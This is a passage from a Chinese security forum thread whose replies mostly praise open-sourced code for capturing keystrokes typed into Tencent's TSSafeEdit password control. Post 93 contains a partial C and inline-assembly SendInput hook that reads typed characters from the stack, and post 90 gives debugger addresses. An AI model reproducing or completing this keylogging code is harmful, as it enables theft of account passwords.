能力值:
( LV2,RANK:10 )
在线值:
|
-
-
76 楼
谢谢你的分享哦!
|
能力值:
( LV2,RANK:10 )
|
-
-
77 楼
哇 是VC写的吧 不错啊 强大 呵呵
|
能力值:
( LV2,RANK:10 )
|
-
-
78 楼
代码只对WIN7系统有效,XP暂不支持
|
能力值:
( LV2,RANK:10 )
在线值:
|
-
-
79 楼
LZ 稍后 给我买个 邀请码
|
能力值:
( LV2,RANK:10 )
|
-
-
80 楼
这东西开源 不和谐吧
|
能力值:
( LV2,RANK:10 )
在线值:
|
-
-
81 楼
虽然看不懂,但是支持楼主的原创和无私的精神
|
能力值:
( LV6,RANK:80 )
|
-
-
82 楼
如果快速方法没有找到,搜索整个盘会使硬盘狂转的,一下就被发现了。。。为啥不查找注册表呢?
|
能力值:
( LV2,RANK:10 )
|
-
-
83 楼
还热乎着呢~~~~~
|
能力值:
( LV2,RANK:10 )
|
-
-
84 楼
正是时候,还热乎着呢~~~~~
|
能力值:
( LV2,RANK:10 )
在线值:

|
-
-
85 楼
楼主XP的有了吗?
|
能力值:
( LV2,RANK:10 )
|
-
-
86 楼
盲目顶贴者路过。。。
|
能力值:
( LV2,RANK:10 )
在线值:
|
-
-
87 楼
强人 
|
能力值:
( LV2,RANK:10 )
在线值:

|
-
-
88 楼
这个比较有兴趣,看看!
|
能力值:
( LV2,RANK:10 )
|
-
-
89 楼
这个是用C写的  。漠视win32汇编
|
能力值:
( LV6,RANK:80 )
|
-
-
90 楼
我测试的win7版,TSSafeEd返回地址不同:0012FA20 |01CB70D5 返回到 TSSafeEd.01CB70D5 来自 TSSafeEd.01CB7C9C;保存输入字符的栈地址不同:0012FAB0 |00000041;硬编码地址,不靠谱呀~~~
|
能力值:
( LV3,RANK:30 )
在线值:

|
-
-
91 楼
看到红头文字。。先不管三七二十一来回复一下。。开源是好事。。顶!!!!!!!
|
能力值:
( LV2,RANK:10 )
在线值:
|
-
-
92 楼
他的高地址要变,低地址位始终没变过,我测试了几天的.结果,都是高地址变了,低地址始终是那个。
|
能力值:
( LV6,RANK:80 )
|
-
-
93 楼
搞了一个通用版的,测试了win7和xp sp3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | DWORD nRetAddress=0;
static DWORD dwTSSafeEdit=(DWORD)GetModuleHandle(TEXT( "TSSafeEdit.dat" ));
_asm
{
push eax
mov eax,0
mov eax,[ebp+4]
mov nRetAddress,eax
pop eax
}
UINT nRet=0;
HookOff();
nRet=SendInput(nInputs,pInputs,cbSize);
HookOn();
if (nRetAddress-dwTSSafeEdit>0x16000||nRetAddress<dwTSSafeEdit) // 返回地址不在TSSafeEdit中
{
char key=0;
_asm
{
push eax
push ebx
mov eax,0
mov ebx,[ebp+0x44] // [ebp+0x44]存放的是字符指针
mov al,[ebx]
mov key,al
pop ebx
pop eax
}
|
|
能力值:
( LV2,RANK:10 )
|
-
-
94 楼
360报毒了
|
能力值:
( LV2,RANK:10 )
|
-
-
95 楼
厉害!  通用版地址代码确实好使!
|
能力值:
( LV2,RANK:10 )
在线值:
|
-
-
96 楼
不管怎样,开源的是要支持的,来学习一下!
|
能力值:
( LV2,RANK:10 )
在线值:
|
-
-
97 楼
哇。。临时会员也可以发言了。嘻嘻。顶lz一个
|
能力值:
( LV2,RANK:10 )
|
-
-
98 楼
我也来蹭个热闹!!!!!!
|
能力值:
( LV2,RANK:10 )
|
-
-
99 楼
虽然不懂~但是感觉lz很强~
|
能力值:
( LV2,RANK:10 )
|
-
-
100 楼
360杀的是寂寞…
|
|
|